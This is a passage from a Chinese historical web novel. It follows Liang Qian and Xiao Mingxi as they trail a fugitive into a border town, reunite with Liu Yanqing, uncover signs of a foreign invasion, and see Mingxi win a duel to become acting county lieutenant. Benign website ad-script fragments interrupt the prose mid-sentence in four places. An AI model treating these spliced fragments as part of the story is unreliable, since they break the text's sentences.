萧明渊明显有些生气,但是还是压制自己的怒气同梁浅说着:“若是追查疑犯,我回去会又派大理寺的人来查,你今日本来就太过莽撞,你不能再这样继续任性下去了,那人逃出了京城,外面人心险恶,你又怎么去追查?” 梁浅也看着萧明渊,从容地回应他刚刚的问题,“这件事本来就是你我的约定,若不追查到真正的凶手,我誓不罢休,今日也是我有所疏忽,可却并非是我任性莽撞,你也很清楚,大理寺的人,京城的人有几分可信,更不说若没有丞相的帮助,那人又怎么能使出着调虎离山之计,将我们骗的团团转。 至于我,你也不用担心,我能照顾好我自己,你现在只需要回大理寺审问此人,继续调查,有什么消息同我联系便是。 好了,多耽误一刻,便让他多跑走一里,我先走了,告辞。” 梁浅捡起地上自己的匕首,“这东西我还有用,便先带走了,无面,我们走吧。”于是便打算同无面一起离开,萧明汐见自己哥哥沉默不语,好像也还在生气,也担心梁浅,便和萧明渊告别后,也跟上了梁浅。 萧明渊看向梁浅的背影,心中感叹自己刚刚是有些着急了,有些口不择言,她或许因此生气了,不知道他们去追查境况又会如何。 35. 第三十五章·柳烟晴 三人根据现场的痕迹追踪了两天,梁浅还求助了师父和阁主,得知了王二的长相,才最后确认王二应该就是进了泑县,而此地已然靠近边塞,再过两县就即将进入邻国,他的目的也很明显了。 “姐姐,如今这王二身后八成有人给他做了路引,一路畅通无阻,如今又进了泑县,我们这偷偷跑出来的,怕是不好进去。”萧明汐看着泑县城门口人来人往的行人感叹道。 “要不咱化作几个行人的模样,再偷几份帖子混进去?”无面在一旁牵着马儿,百无聊赖地扯着狗尾巴草。 梁浅抱着手摇了摇头,看着远处的城门略有所思,“实在不行,只有等萧明渊那边的消息下来进城抓人,我们先守在这里了,想必他如今入城也是为了掩人耳目,想出边塞可能会等到过几天的清明节?” 萧明汐朝梁浅走了过去,眯着眼睛好像察觉到了什么,“姐姐,你……还在生哥哥的气?” 梁浅这几日醉心于追查,每日都是四处打听,压根就没有将那天的事放在心上,如今萧明汐这样说起来,自己其实是一头雾水。 “生气?我没有生气啊,我们两个人自己做好自己的事不是挺好的嘛,只要能抓到这个罪魁祸首不就皆大欢喜了?我倒是不知道他为何生气。”梁浅盯着城门的眼神始终没有动摇过,淡定地回着萧明汐。 梁浅刚刚说完,无面指着一处叫了起来,“快看快看!” 顺着无面指的方向看去,萧明汐先开口确认,“这是……流民?可边防的京中来报,如今边塞并无战事,怎么会……” 梁浅眉头微皱,看着翻山越岭过来的人做出了决定,“走,我们跟着他们一起进城。”于是便拉着萧明汐朝山坡下面走去。 无面拉着马儿呆了一下,然后见两人离开的背影才朝梁浅喊,“哎,那我呢?” 梁浅这才停下脚步,转身对急忙追上来的无面交代着,“你得在城外看着,万一我们没有找到王二,让他钻了空子,便得由你来抓他了。”说完梁浅又从衣兜中抓了些碎银递给无面,无面点了点头,然后朝两人说道:“一路小心。” * 梁浅和萧明汐几乎是从山坡上的泥巴地一路滚着过来的,虽说两人这两天风尘仆仆的追查过来,可是身上的衣服明显就干净得太多,想这样混入其中未免太明显。 好在此次的流民是从邻县过来,是意外遇到的袭击,全然没有准备,许多城中的官眷富家小姐也流落其中,以至于萧梁二人的状态不是太突兀。 混进队伍中后,萧明汐见到此景有感而发,凑过来想和梁浅说起她以前的所见所闻,梁浅却忙示意她不要说话,只是低声在她耳边说了一句,“人太饿是不想说话的。” 梁浅深刻意识到,面前这群人想必一路上还要躲避寇贼,又是事发突然,早就饥肠辘辘,疲惫不堪了,梁浅经历过这种饿得快死的感受,且队伍中没有说话的声音,为了不引起注意,所以两人都跟着沉默地走着。 顺利地进了城,拐弯就是发粥的地方,众人一哄而上,梁浅和萧明汐则被人群冲散了,分到了城内的南北两边去。 城防侍卫冲出来维持着秩序,一个小女孩撞到在一旁又连忙爬起,眼见人群往她那边聚拢,她却丝毫没有察觉,梁浅便冲过去拉她出来。 小女孩看到她刚刚站的那处涌了一堆人过去,有些还没有站稳,这才知道自己刚刚如果站在原地的危险,于是转头看向梁浅,“谢谢哥哥……咦?”小女孩歪着头仔细观察梁浅。 梁浅也歪着头看她,“怎么了?” 小女孩沉默了半晌才说道:“嗯……哥哥长得……挺好看。”然后伸手给擦了擦梁浅脸上的泥巴。 梁浅看着她满脸笑意,然后抱着她过来排队领粥,“小妹妹,你叫什么名字呀?” “十一。” “哦,小十一呀,那你家里人在不在这里?” 小十一摇了摇头,有些失落地说道:“我和母亲走散了,然后就来了特别多的人……大家都在跑,后来我也跟着出来了,还好遇到张婆婆,她就带我来这里了,现下我也找不见她了。” 梁浅也擦了擦小十一的小脸,正好施粥的队伍也排到了两人,见小十一端好粥后,梁浅这才拿起自己的碗,结果刚刚拿起,却有一个人从后面慢悠悠走了出来,就想插队到梁浅的前面,朝梁浅用力一撞,施粥的人正打算将粥倒在梁浅的碗里,却因为这样一个插曲,手中一抖,便将有些滚烫的粥落了些在梁浅的手上。 梁浅被烫得吃痛,忍住没有出声,对面的人吓了一跳,忙和梁浅道歉,“对不住对不住,这位娘子可还好?还有你,大家今日都能喝到粥的,但是都得守规矩不是,到后面排队去!”撞到梁浅的人见到众人的目光都聚集到自己的身上,便瞪了二人一眼朝后走去了。 梁浅听到道歉,摇了摇头表示自己没事,却发觉对面的声音有些熟悉,于是抬头看去,“……烟晴!?”梁浅十分惊讶,但是压低声音问道。 烟晴听到梁浅的话,也认真看着对面的梁浅,认出梁浅后只是同样惊讶,脸上挂满笑容,却没有声张,给梁浅做了一个噤声的动作,然后悄悄指了指远处的那家客栈,就忙着叫下一位施粥的人,梁浅自然也理解了她的用意,忙牵着小十一往一旁走去。 * 有人换班后,柳烟晴便忙朝梁浅这边赶了过来,拉着二人往城中她住处去。 “烟晴,我还有一位同行好友……”梁浅被烟晴拽着,忙和烟晴说着。 “如今城门口混乱得很,若不是来城中投亲的人,其他人会被安排到安平坊中,我们晚些去找她便是,这会儿去太引人注目。”烟晴忙观察四周的行人,忙回应着梁浅。 一路上都是走无人的街巷,几人终于到了烟晴的住处。 烟晴关好门,又找了几个饼,这才坐到梁浅身旁,“呼,真是刺激…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 阿浅,咱终于见面了,好久不见,你怎么样?你是怎么又与众人一起进城的?” 梁浅将饼都递给了小十一,又倒了茶嘱咐了一番,才又转过身同柳烟晴叙起旧,“我办事,你放心,如今我一切安好,此时不过是为了另外的事才过来的,今日还得多谢谢你,烟晴。” 烟晴点了点头,又倒了一杯茶喝了起来,又感叹道:“嗐,小事情,你那日帮我代嫁之事我还没有好好谢过你呢……母亲原来一直不同意,我私自逃走,还请你帮忙骗她,我原想着母亲定会和我断绝关系的,但没有想到她还是帮了我们隐瞒……” 梁浅回应道:“当时你极力要求退婚,夫人虽然没有为你推辞这门婚事,可我见夫人还是心疼你的,从小夫人便未强迫你做过什么,总是放任你做自己喜欢的事情,我小时候也很羡慕呢,那日见你逃婚,夫人虽然着急,却未怪过你,也并未再让他人知道,我化名商娘子顶替你进京,她也是对我十分怜惜,骗她这件事,每每我想起来心中也十分愧疚。” “在那之后,我偷偷回了一趟家,见了母亲,虽然当时带了不少钱出门,可母亲还是又给了我钱财,说一切有母亲,哦,这是母亲给我的,说进京拿给你,好像是身契,本来我是打算进京一趟的,只不过游历到此处,见到这些日子不断进城的人,才在此处停留的。”柳烟晴将身契都递给梁浅,又向梁浅问道,“阿浅,我听母亲说,你如今还在萧府,萧侯爷也对你很好,这我也放心了许多。” 梁浅叹了叹气,“只是刚好我遇到的是他,他很好,可烟晴,这也改变不了我们当时盲婚哑嫁的那份恐惧,各种因缘际会,如今我也留在京中也是有所图罢了,我们互相……或许不过也就是相互利用……”说起萧明渊,梁浅也不知道自己究竟是怎么想的,如今只是走一步看一步而已。 “阿浅,这火炕也算是我推你进去的,你要做的事,很危险吗?”柳烟晴关切地看着梁浅。 “是一件我必须要去做的事情,也是师父的夙愿……烟晴,既然你在这里待了许多时日了,我想问你打听些事情可好?”梁浅决定还是先将眼前的事情给做了。 “你讲,阿浅。” “这流民是怎么一回事?京中也未曾收到边塞有什么变动的消息。” 柳烟晴见小十一吃饱后就有些困了,已经趴在桌子上睡着了,便将孩子抱到自己的床上睡着,才和梁浅认真的谈论起当下的事情。 “其实并非边塞之事,而是邻县出了内贼与山上的山匪为伍,这才惹出的事端,这些年周边是第一回遇到这样的事情,多年没有遇到过,防备不足,才让人钻了空子,而城中之人自然是被这阵仗吓得魂不附体,说那些人进了城不仅抢每户的钱财,更是见人就杀,自然不敢回去,便往最近的此地逃来,这几日我见到的有人亲眼见到亲人被杀失了神的。” “竟然如此残忍,可此地的知县就没有得到半点求援的消息吗?” 36. 第三十六章·傍晚求援 烟晴摇了摇头,“一切发生得很突然,加上此地的县令大人,据我观察,不仅碌碌无为,还是个贪生怕事之辈,他能准人入城还施粥安排就不错了,哪里可能成为援助之力。”烟晴停顿一下,还是决定向梁浅问道,“阿浅,你不是为这件事而来罢,可还有什么我能帮得上忙的?” 梁浅看了看正在床上熟睡的小十一,“这件事确实是偶遇,而我来这里,是为了追查一个人?” 烟晴偏着头疑惑地看着梁浅,梁浅这才将这件事情的经过大概讲给她听。 “若是进了城,怕是就难找了。”烟晴皱着眉头看着手中的茶杯,“加上你们如今也并无官方文书,对此人更是只有猜疑,并无确切证据,只是难上加难啊。” 梁浅回应道:“不急,如今城中又进来许多人,官府登记造册都忙不过来,还有这邻县的山匪之患,想必如今进来容易出去难……时间差不多了,我得去安平坊中寻我妹妹,你将城中你知道的路线都告与我,日后方便我们在城中行事。” “行,顺便把你妹妹接过来,与我同住在一起也互相有个照应。”柳烟晴听到梁浅的话便打算起身与她同去。 梁浅伸手将柳烟晴按回板凳上,同她说道:“我是回到坊中去,同我妹妹暗中在城中查探便是。” “阿浅,你莫不是觉得不好意思,所以才故意回去的,那地不如我这儿好住,吃食也供得紧张……还是说你记恨我小时候抢了你的桂花糕,可我见你急了,便还给你了,还给你道歉了……咱两认识这么多年,你还不了解我?我这个人虽然是挺在乎自己,显得有些不管不顾,但我也见不得自己的好友又吃苦去。 之前就是,本来想着以你的本事定是很快能从萧府脱身,我才跑的,你如今还留在那里,你虽然不说,但我也知道你想必是遇到什么事情了,你如今还不让我帮帮你,你让我情何以堪……”柳烟晴对于梁浅的动作有些不解,于是有一搭没一搭地说着,说到最后,竟然都有些哭腔了。 梁浅忙坐下安慰着柳烟晴,“烟晴,我自然是拿你当好友的,只不过我这是从多方面考虑才决定的,一是我又带着妹妹来与你同住,若是被与我们一同进城的人认出来,免不了遭人嫉妒,我们也不好打听消息,甚至可能牵连到你,一个两个你能帮,三个四个你为何不能帮?若人家这样问你你又如何回答,到时候闹到官府面前,让你我拿出路引户籍证明,又当如何? 二是我总感觉王二的事和流民之事或许有什么牵连,如今我们混入其中,行事也不容易被人察觉。”梁浅轻轻擦了擦柳烟晴的眼泪,“你还在这里说情何以堪,你为了不断进城的百姓留在这里,还去帮忙施粥,且我知道你本来还懂些医术,想必明里暗里也帮了不少人,真真令我佩服,该说情何以堪的,是我才是。” 柳烟晴嘟着嘴,逐渐缓和自己的情绪,“哪有,我那医术不过是小时候山上山下乱吃的多了才试出来的,如今不过是跟着郎中帮帮忙罢了。” 梁浅拉着柳烟晴的手,笑着说道:“我知道,你向来是个嘴硬心软的,桂花糕的事,虽然你咬了一口,但是我早就不生气了。” “你果然记得!”柳烟晴笑着假装去打梁浅,梁浅也笑着躲着她,两人没有注意自己的动静将小十一闹醒了。 小十一揉着眼睛坐了起来,梁浅也走到床边,摸了摸小十一的头,“十一,你就在这里跟着这位柳姐姐好不好?” 小十一摇了摇头,“不要不要,我要回去找婆婆,我还要回自己的家。” 柳烟晴和梁浅相视一笑,无奈地摇了摇头。 * 柳烟晴才送两人到门口,便又被城防的人叫过去,走之前,梁浅又拉住她的手说道:“一切小心。” 柳烟晴也同样笑着点头回应,“你们也是,要找我,老样子。” 随后梁浅放开了手,看着柳烟晴的背景,好像比自己以前见到的更加强大了一些,心中不免划过一丝失落,烟晴好像找到她喜欢做的事,也是她一直想做的事了,那么自己呢? 小十一扯了扯梁浅的袖子,梁浅才回过神来,带着小十一往里面走去。 两人找了半晌,这才找到正在闭目养神的萧明汐,梁浅轻声喊道:“明汐。” 萧明汐被分到的房间还有人没有住进来,显得格外空旷,见到梁浅的来临,她显得格外惊喜。 “姐……咳。”萧明汐见到梁浅身旁的小女孩,想着不暴露梁浅的身份,一时不知道怎么开口。 “娘子,你可还好?”梁浅脸上带着些许坏笑喊道,心想自己现在男子打扮,萧明汐英气十足,保持着女子打扮,两人现在一男一女在这才进城在这坊中或许以夫妻身份示人或许会少去很多麻烦。 萧明汐一下子就领会了她的意图,只是看着梁浅尴尬一笑,眯着眼睛点点头,跟着演了起来,“还好,夫君,夫君可还安好?” “一切都好。” 正在梁浅回应完萧明汐之后,身后传来一个声音,“十一小姐?” 小十一和梁浅都转过身去寻找声音的来源,一位神态有些疲惫的婆婆忙走了过来,蹲在地上,激动地拉着小十一,小十一也认出了她,一老一幼就这样抱在了一起。 “婆婆,如今都什么时候了,你就莫再叫我小姐了……你可还好?”小十一擦了擦眼泪,伸手给婆婆擦着脸上的泪。 两人寒暄了一番,小十一才拉起婆婆过来和梁浅明汐两人打招呼,几人也顺理成章的住在了一起,后来还来了一家三口,一对中年夫妻带着一个男孩,互相介绍后,梁浅等人便叫起了对方的妻子,黎嫂。 自从一家三口住了进来,梁浅便感觉黎嫂有些奇怪,因为梁浅和萧明汐总是在晚上出去偷偷溜出去四处打探,早上总是困得起不来,白天看着有些打不起精神的样子,所以梁浅总是感觉黎嫂一家总是以一种奇怪的眼神看着自己。 梁浅顾不得这些眼神,终于在来这里的第三天发生的事情让梁浅终于找到了突破口。 * 萧明汐因为熟悉军中行事,便混到了县城的士兵当中,前一日是在城内站哨,今日是被分到城墙上。 站在城墙上站哨的萧明汐发现了远处有一个人歪歪倒倒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 骑着马朝此处走来,身上好像还插着箭,因着时间已经接近傍晚,城门即将关闭,且之前受到袭击县城的人以多数到达,县令大人也将相关事宜汇报,最近不得可疑之人出入,犹豫片刻,还是决定给长官汇报。 于是县尉便派了萧明汐带一小队人出城查看情况,发现那人也像是县城士兵的打扮,背后还插着一只箭,马儿也疲惫不堪,众人将马上的人扶了下来,之间他脸上身上满是血迹,像是从地狱爬出来的一般,众人不禁倒吸一口凉气。 “碧峰县有难,特来向泑县求援,还请大人禀报……”说完便晕了过去,萧明汐立即斩断过长的箭,让一人按出他出血的地方,同时叫人扶他进去医治,自己则回去向县尉禀报。 萧明汐白日里的女装此刻俨然隐藏到了铠甲之下,加上夜里火光看不清,所以堂上众人并未看出这位一直低着头的士兵的真实身份。 “依我看,我们还是先向州府禀报,听上面的差遣才是。”县尉张起敏锐地感受到这件事没有这么简单,于是还是认为静观其变才是上策。 一旁的其他副官也忙着附和,“是呀是呀,若是此情并不属实,到时候上面治我们擅离职守之罪,那又如何是好。” 县令旁边的吴师爷却说道:“可若是真,难道我们还是继续袖手旁观?只怕过了几日,这泑县县城便塞不下人了罢。” “可若我们派人去救,又能抵得住多时?若是城中已然沦陷,我们哪怕将人全然派出去,怕是也不能将城抢回来。”县尉大人对着县令大人分析着现在的情况。 吴师爷是一个身材瘦弱,看上去面黄肌瘦的中年男子,近些日子,梁浅倒是常见他到坊中探望众人,每次满脸愁容,倒也不刻板,柳烟晴等人就是在他建议下招募的过路的江湖人士。 “我并非说要将城抢过来,若只是山匪作乱,我们也得核查不是?我们早些派人,说不定还可以多救一些人,若是情势不容乐观,县尉大人自然也不会带着人莽撞行事的不是。”吴师爷边说着,边看向张起,“若是一昧只是等着指示,先报到州府又报到京中,再报到陛下面前,来来回回三四日,等我们去怕是只有皑皑白骨了。” 张起见情势有些朝师爷方向倾斜,又转过来朝县令大人说道:“可之前进城的若县之人都说城破乃是有内里外援一齐造成,想必轻易短期内不能再出第二个,如今的碧峰县虽然不足若县商贸繁荣富足,可地势险要,又怎么会这么轻易被攻破,以至于向我们求援,大人还是斟酌才是。” 县令大人理了理自己的胡子,半晌才出声,“嗯,大家说的都有理,这样吧,今日夜已深了,明日派人去州府上报,县尉大人也派些人出城到碧峰县查探情况,切忌量力而行才是。” 县尉见县令大人做了决定,便只是说明日自己不放心众人外出,会亲自带队,便出了府。 梁浅躲在暗处看完了这一场闹剧,她其实有感受到县尉大人言语中的担忧,只不过也不能确定担忧的来源,心想这几日城中查探,没有半点消息,说不定这会是个契机,于是便离开此地,前往柳烟晴所在的医馆。 37. 第三十七章·调虎离山 柳烟晴刚刚给伤者包扎好,梁浅便悄悄地走了过来,“烟晴,可否休息了?” 烟晴听到是梁浅的声音,没有转身,还忙着写手中的单子,“嗯,差不多了,你这么晚过来,吃过饭没有?” 梁浅以前就老是在大晚上来找柳烟晴,帮她抄抄书,或者给她带些新奇的玩意,她也常常如这般低头在忙着什么,只不过那时候画的是她想的各种新奇玩意,梁浅总是会同她一起研究,如今她写的却是药单。 “吃过了,你这么忙可吃过了?”梁浅走到柳烟晴身旁,将一个苹婆递给她。 柳烟晴写好后,接过梁浅手中的东西,然后有些狐疑地问道:“阿浅,你来找我有什么事情,你直说罢,我忙得差不多了。” “今日晚间来了一个中了箭伤的人,可还活着?” “嗯,还活着,只不过连郎中都说他能撑这么久真是神迹,你若是想问什么怕是问不出来的,他如今还晕着,现在就看撑不撑得过今晚了。”柳烟晴朝里面望了望,叹着气说道。 梁浅沉默片刻,“那他身上可有什么可疑之处?比如衣服,疤痕?” 柳烟晴先是摇了摇头,然后像是想起什么了一般,朝里面走去,梁浅也跟着走了上来。 “他身上我倒是没有注意到什么,无非就是寻常城中士兵的装扮,对了……他身上取下来的箭你要不要看看?”柳烟晴将东西递了过来,因为箭尾之前已经被萧明汐斩断,所以只有半截的箭。 梁浅伸手接了过来,没有看出有什么特别的,便朝烟晴问道:“烟晴,依你看这箭有没有什么可疑的?” “嗯,我只觉得这箭看着有些老旧,不过其他的箭我也没有怎么见过,他们说是山贼的,倒也说得通了。”柳烟晴回答道。 “有没有人还要这箭?我可否将此箭带走?”梁浅朝烟晴问道。 烟晴点了点头,“原郎中拔了箭便说丢了的,我想你可能会来,便留着了,县令也没有叫人来要过。” “好,那我有用处,便先拿走了,日后若是用得着,怕是还得你去做个证,到时……”梁浅犹豫片刻,一时不知道怎么开口和烟晴说想继续隐瞒身份的事情。 烟晴看出了梁浅的心思,“放心,到时候我会随机应变的。” * 梁浅回到住处,见萧明汐还没有回到住处,料想到她应该是又回去站岗了,怕是要后半夜才回来,便打算打点水洗洗睡了。 同来打水的竟然还有黎嫂和张婆婆,梁浅十分生疏的同黎嫂打起招呼,“黎嫂,张婆婆,这么晚了还没有睡呀。” 黎嫂嗯了一声,便转过身同张婆婆说道:“哟,你看这人这么晚才回来,他家那位也不见得,真不知道这两口子一天到晚在忙些什么,莫不是都这么快就在城里找到新人来过日子了。” 张婆婆拉了拉黎嫂,“别乱说,黎嫂。” 黎嫂忽然放大了声音,“我怎得乱说了,我们才来那日,他便拉着你家姑娘在坊外同一个女子拉拉扯扯的,我两眼看的真真的。”黎嫂越说越起劲,声音仿佛在刻意压低,可一旁的梁浅听得清清楚楚。 梁浅见她和张婆婆嘀嘀咕咕的样子,自己也身心俱疲,便懒得同她狡辩。 只听得张婆婆同黎嫂说道:“黎嫂,你莫乱说,我家孩子说那人是他的亲戚,只是他也不想拖累她们,才又回坊中来寻他家人的。” 黎嫂还是不相信,“小孩儿哪里懂这些事情,想必也是被蒙蔽了。” 张婆婆摇摇头,也懒得同她说罢,梁浅与之对视点头一笑便先走了。 梁浅躺在床上,翻来覆去,睡不着觉,总觉得心中不安,好似有什么危机暗藏在这城中。 * 天蒙蒙亮,梁浅便醒来了,之前萧明汐在岗时,梁浅去寻,上不得楼,便先回来了却发现明汐一夜没有回来,便赶紧起身准备寻她去。 小十一迷迷糊糊地也醒了,见到梁浅慌慌忙忙地要出去,便起身轻声问道:“哥哥要去哪里?” 梁浅转身笑着回应着孩子,“我出去散散步,十一,无论发生什么事,都要好好和婆婆在一起,千万别再走散了。”梁浅摸了摸小十一的头,然后便悄声离开了。 * 待到梁浅来到城下,萧明汐才同人换班下来。 “姐姐,你怎的这么早就过来了,不多休息会儿。”萧明汐一见到梁浅便疑惑地问道。 梁浅将明汐拉到一旁,从怀里拿了几块糕点递给明汐,明汐惊喜地说道:“是我最喜欢吃的桂花糕,多谢姐姐。” 见明汐吃起糕点,梁浅这才拿出昨日找到的箭头,递出来给明汐。 “明汐,你看看,这箭头可有什么可疑之处?这是昨日从那求援之人身上取下的。”梁浅朝明汐问道,心想明汐在军中待过,且见过不少外伤,说不定认得出这箭。 明汐吃东西的动作逐渐慢了下来,盯着那箭看了又看,“嘶,这箭虽然有些老旧,却像是军中的武器。” “军中?你是说我们军中?” 明汐点了点头道:“像是我们的手艺,只不过……原先我以为若是山贼,这只是将树枝削尖做的箭,昨夜太暗加之一片混乱,我也没有注意到箭尾,可如今见这工艺,这件事不简单啊,姐姐。” 梁浅低声说道:“你的意思是这箭不像是山贼所有?” “是,私藏弓箭本就犯了律法,更不说这像是我们军中所有,区区山贼又怎么敢抢军中之物。”萧明汐解释道。 “那如此看来,这弓箭想必是我们朝中之人私卖的,这区区山贼也并无这等财力,所以只能是……”梁浅看向萧明汐,仿佛在确认自己未曾说出口的答案。 见萧明汐点了点头,梁浅又看向自己手中的箭,两人都意识到了事情的严重性,沉默了片刻,梁浅忽而反应过来,“县尉一行人可走 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了?” “已然走了,昨夜就在做准备,今日天不亮便出发了。”萧明汐也着急了起来。 “要不我此刻立即去上报,让人寻他们回来?”萧明汐看向梁浅。 梁浅摇了摇头,“不必,他们本来也就一行几人,回来也帮不了多少,与其费心费力的赶回来,不如按照原计划到达目的地,以助我们一臂之力。” 萧明汐也一下子理解到了梁浅的意思,但也说出了自己的担忧,“可姐姐,目前只凭借这只箭,想必难以让县令大人信服,从而愿意派人去提醒县尉。” “中箭之人还在医馆不是?我们去找找他确认。”梁浅说罢,便打算同萧明汐往医馆走去,却没有想到身后的城门处传来哀嚎,两人顿时停下脚步,朝那边望去。 “方曦,方曦。”只见一个衣衫褴褛的人嘴里不停的念道着,梁浅便大着胆子走了过去,萧明汐想伸手阻拦,梁浅冲她摇了摇头说道,“无妨。” 梁浅蹲了下来,递了一个馒头给大伯,然后伸手拨了拨大伯的头发,然后向大伯问道:“大伯,您说的方曦,是何意?” 大伯好像被吓得不轻,一把抓过梁浅手中的馒头,便看向梁浅又大声喊道:“是方曦国的旗,那是方曦国的旗。” 梁浅朝萧明汐望去,明汐点了点头,肯定了梁浅的想法,那大伯也顺着梁浅的视线看过去,也看到了萧明汐,仿佛是一下子看到救星一般,朝萧明汐这边冲过来,在萧明汐面前跪了下去。 “明医仙,明医仙,快救救我罢。”那人在萧明汐面前磕起了头,梁浅和萧明汐忙拉老伯起身。 萧明汐这才开口问道:“老伯怎如此叫我?莫非我们以前见过?” 众人坐到一旁纳凉处,老伯这才卷起裤腿的旧伤给梁浅和萧明汐看,“这伤是我之前在战场上受的,也好几年了,那年正是明医仙帮我医治的,后来便离了军队,回家养老,这才过了几年安生日子,这方曦国又来了,还请明医仙救命。” “你可看真切了?大伯。”梁浅最后确认一次,这腿上的伤和认识萧明汐在军中做过医师可不好假装。 “绝不会认错,我以自己的性命起誓,我原是到山中打猎,因山中气候多变,下起了雨,我这才晚了两日归家,却没有想到,家中已然被方曦国的人占了,还将我打了一顿,我老伴……也下落不明啊。”老伯说到了伤心处边拭起泪来。 “老伯,您这一路怕是辛劳得很,快吃些茶水白粥填填肚子罢。”萧明汐从一旁端了一碗粥过来。 老伯帮收了泪,朝萧明汐道谢,喝起了粥,这才又说道:“嗯,我这一路走来,没有带什么吃食,到此处确实是饿的头晕,恍惚之中还见那方曦国的兵追了上来,我便加快脚步,走到此处我也不知用了多少时日了。” 梁浅和萧明汐互相对视,于是萧明汐开口道:“老伯,你刚刚的话可愿同我到县令大人面前在说一回。” 38. 第三十八章·代理县尉 “县令大人,情况危机,还请大人尽快下令,派人前去同县尉大人汇合,更尽快上报朝廷外敌入侵之事宜,我们城中也应该尽快建起防御工事才是。”萧明汐在堂上汇报着,只见县令大人一脸愁容。 梁浅也跟着站在身后,身旁是刚刚遇到的老伯,老伯将自己的所见所闻都一一讲述,加之他原来在军中的经过,证言倒是有可信,也因此县令大人皱着的眉头变得更加深了。 一旁的吴师爷先开了腔,“这箭是从何处取来的?莫不是你哪里捡来冒充的罢。” 梁浅于是上前作揖行礼道:“还请大人请医馆的医师前来,为此作证。” 县令大人终于摆了摆手,不一会儿便有人来了,那人在梁浅身旁跪下给县令大人行礼道:“在下柳烟晴,见过大人。” 听到这个名字,萧明汐立即转过了头看了看梁浅,又看了看柳烟晴,只见两人面态平和,便疑惑地转了回去。 “不是叫医馆的医师前来吗?怎么你过来了?”县令大人朝柳烟晴问道。 烟晴淡定地回复着,“回大人,医师连日劳累,今日晨起时病了,这些日子都是妾身在医馆中同医师医治来者,故医师让我来回大人的话。” “嗯,你看看这箭可是从求援之人身上取来的。”县令大人让人将东西拿到柳烟晴的面前,柳烟晴看了之后,回道:“正是,今早这位小大人到我这里取的,这箭也是我亲眼见医师取出来的。” 县令大人又沉默了,这是萧明汐又再出声说道:“大人,此事不容犹豫,眼见已有一县沦陷,想必朝中还被蒙蔽,如今碧峰县也处于水深火热之中,我们县距离碧峰县也不过一日的脚程,等到敌军拿下碧峰县,下一个不就是我们?” 众人又一同向大人施压,“大人。” 县令大人这才坐直身子,作出最后的一个挣扎,感叹道:“可如今县尉大人不在城中,我们又如何守得住这城呀。” 见萧明汐还愣着,心中好像还在犹豫,梁浅忙推她起来,萧明汐往前一个踉跄,然后立刻反应了过来,躬身行礼道:“若大人不弃,小人曾在萧家军中担任过要职,也读过书识得字,故小人愿暂时领下这县尉之职,不求俸禄官位,只求能护住城中百姓以至援军到来。” 萧明汐这几日跟着城防的人混着,自然知道除了县尉大人稍微识字,其他的士兵都是目不识丁的,所以自己这个优势在这军中是在的,且此时那位老伯也愿意帮自己作证。 说罢,师爷便拿出一封信来给萧明汐,让她当众念出来,萧明汐从容不迫,当众一字不差的将信读了出来,只见师爷点了点头,又将信交到县令手中,县令看了看信,又问道:“那你这武艺如何?可担得起这重任。” “任凭大人考核。” 师爷眼睛转了转,便又俯身同县令大人耳语,县令大人听得连连点头,然后便吩咐人出门去了。 “如此,我这府中有一侠客,原是我聘来护我小儿的,之前也同县尉大人较量过,若你能胜于他,我便将这职暂任于你,到时上面追问下来,我可为你作保,可好。”县令大人朝萧明汐问道。 萧明汐正打算行礼回应,便听得门外传来一个爽朗的男声,“哈哈哈,县尉大人也未曾胜于我,看这厮身娇体弱的,莫不是只读得几年书的书呆子?我今日心情好,让你一只手便是了。” 众人转身看去,只见一个身穿黑衣,头戴斗笠的男子站在门外,手里拿着一把玄色的大刀。 “不必想让,阁下全力以赴便是,敢问阁下尊姓大名。”萧明汐的眼神变得更加坚定,也透露出一股与众不同的气场。 “沈从,请。”沈从应答道,然后作出朝院子请的手势,萧明汐也朝外面走来。 两人对立站在院中,对面沈从明显高萧明汐一头,但是萧明汐气场丝毫不输,一阵风吹来,院中观望的众人都不禁打起了寒战。 对面的沈从自然是拿起了他那把玄色的大刀冲了过来,萧明汐只拿着府中临时找到的大少爷平日练的一把剑迎敌。 那人见萧明汐年轻气盛,便想先出手杀杀萧明汐的锐气,没有想到萧明汐反应迅速,立刻接到了这招,可还是被对方的力量压得退后了几步。 梁浅见到沈从,便知道他是练家子,怕萧明汐经验不足,容易受伤,所以梁浅原来是想在对面那人身上使点毒药什么的,可是看到萧明汐坚定的眼神,她知道明汐想证明自己,若不是如此,她随便搬出萧明渊的兄长身份来,这些人未有不从的,可是她没有,于是梁浅只有作为一个旁观者,一位姐姐来观看这场对决。 萧明汐丝毫没有懈怠,在对方的攻击中不断的寻找对方可能存在的破绽,而后他发现这人不仅是左撇子,对她攻击的着力点更是着重于左面,虽然都是高招,用力也不小,却仍然被萧明汐察觉了这个细节。 “莫非他的右眼不好?”萧明汐心想,于是接下来她便在即将被对方逼到院角时,抓住机会弯下身子朝那人的右边躲避,那人的每一刀都很用力,因此,他的这一刀同样是想一击致命,让萧明汐落败,却不想她人一下子躲了下去,自己这刀便劈到了她的帽子上。 自己本身也因此卸了力,脚下一时不稳,但是想自己凭借经验很快站定,但是没有想到萧明汐身体灵活,就在这一刻,便绕到了他的身后,当他打算转身继续攻击时,只见到萧明汐将剑抵在了他的脖颈,他便顿住了脚步。 “你输了。”萧明汐笑着说道。 然后沈从放下了要攻击的刀,萧明汐也霸气地收剑,两人互相作揖行礼。 “好,那便由你暂任县尉之职,这几日城中大小防御事物就都由你来安排。”县令大人仿佛终于找到了人把担子丢了出去,如释重负的感觉。 萧明汐半跪下行礼应答,却未曾想,刚刚被沈从劈砍到的帽子此时因为萧明汐的动作彻底坏了,成了两节掉了下去,而萧明汐的长发也顺势落了下来,不知情的众人都眯起了眼睛。 “莫不是是个女娃?”人群中议论纷纷,府中小少爷的奶妈刚刚陪着小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 少爷来看热闹,得了县令大人的令,上前去轻轻拨开萧明汐的长发,然后小声说道:“是女娃,耳后有耳环痕。”县尉脸色铁青,这件事他又犹豫了起来。 